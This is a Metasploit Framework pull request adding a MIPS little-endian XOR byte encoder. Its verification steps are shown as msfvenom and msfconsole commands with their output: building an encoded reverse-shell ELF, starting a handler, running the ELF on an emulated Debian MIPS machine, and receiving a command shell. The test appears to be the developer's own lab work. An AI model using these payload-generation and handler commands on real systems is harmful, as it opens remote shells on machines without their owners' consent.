rapid7/metasploit-framework — pull request #2601 by jvazquez-r7 (2013-11-02 15:40:15+00:00)
Title: Add Mipsle xori byte encoder

Same history than #2600 but for MIPS Little Endian.

Verification:

- [ ] Create an elf with a mipsle payload, using the new encoder. The same badchars than dlink_dir605l_captcha_bof can be used:

```
$ ./msfvenom -p linux/mipsle/shell_reverse_tcp -e mipsle/byte_xori -b '\x00\x67\x26\x2b' -f elf -a mipsle --platform linux LHOST=192.168.0.3 > /tmp/shell.elf
[*] mipsle/byte_xori succeeded with size 436 (iteration=1)
```

- [ ] Start a exploit/multi/handler for the payload

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/mipsle/shell_reverse_tcp
payload => linux/mipsbe/shell_reverse_tcp
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
```

- [ ] Upload the elf to a MIPSLE machine. I've used a debian 6 mipsle emulated with qemu-system, provide + x and execute

```
^Cjuan@debian:~$ file shell.elf
shell.elf: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size
juan@debian:~$ chmod +x shell.elf
juan@debian:~$ uname -a
Linux debian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
juan@debian:~$ ./shell.elf
```

- [ ] Check you're getting a session on the handler

```
[*] Command shell session 5 opened (192.168.0.3:4444 -> 192.168.0.3:51466) at 2013-11-02 10:39:51 -0500

id
uid=1000(juan) gid=1000(juan) groups=1000(juan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
uname -a
Linux debian 2.6.32-5-4kc-malta #1 Fri Feb 15 18:09:19 UTC 2013 mips GNU/Linux
```